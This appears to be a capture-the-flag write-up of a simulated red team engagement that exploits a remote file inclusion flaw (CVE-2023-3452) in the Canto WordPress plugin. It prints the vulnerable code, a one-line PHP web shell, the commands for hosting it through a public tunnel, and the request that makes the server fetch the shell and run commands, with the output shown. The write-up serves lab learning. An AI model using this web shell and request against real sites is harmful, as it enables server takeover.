Overview During a simulated red team engagement against Secure Corp, I identified a critical vulnerability in the Canto WordPress plugin (v3.0.4), used for digital asset management. The plugin was found to be susceptible to an unauthenticated Remote File Inclusion (RFI) flaw, tracked as CVE-2023–3452, which allowed full Remote Code Execution (RCE) on the underlying server.
This write-up details the reconnaissance, exploitation, and post-exploitation steps that led to full system compromise and flag retrieval.
Vulnerability Details The vulnerability resides in the file: /wp-content/plugins/canto/includes/lib/download.php It contains the following insecure code: require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php');
When PHP's allow_url_include directive is enabled (common in misconfigured environments), this allows an attacker to supply an external URL via the wp_abspath parameter. The server will then fetch and execute arbitrary PHP code from that remote location.
CVE-2023–3452: Unauthenticated RFI → RCE in Canto ≤ v3.0.4 CVSS: Critical (9.8)
Exploitation Strategy Step 1: Confirm Plugin Presence & Version I verified the plugin was active by accessing:
http://red.infinity.cyberwarfare.live/.../wp-content/plugins/canto/readme.txt The file confirmed version 3.0.4 — a known vulnerable version.
Step 2: Prepare Malicious Payload I created a simple PHP web shell: <?php system($_GET['cmd']); ?>
Saved as wp-admin/admin.php to match the expected path in the require_once() call.
Step 3: Host Payload & Expose Publicly Since the target resides on the public internet and cannot reach my local Kali VM directly, I used localtunnel to expose my HTTP server: python3 -m http.server 9999 npx localtunnel — port 9999
This yielded a public URL: https://lemon-world-fail.loca.lt
Step 4: Trigger RFI & Achieve RCE I sent the following request: GET /…/download.php?wp_abspath=https://lemon-worlds-fail.loca.lt&cmd=id
The server fetched admin.php from my tunnel and executed the id command, returning: uid=33(www-data) gid=33(www-data) groups=33(www-data) ✅ Remote Code Execution confirmed.
Step 5: Retrieve the Flag I listed the root directory: …&cmd=ls%20/ Then read the flag file: …&cmd=cat%20/flag The response contained the flag, which was submitted to complete the challenge.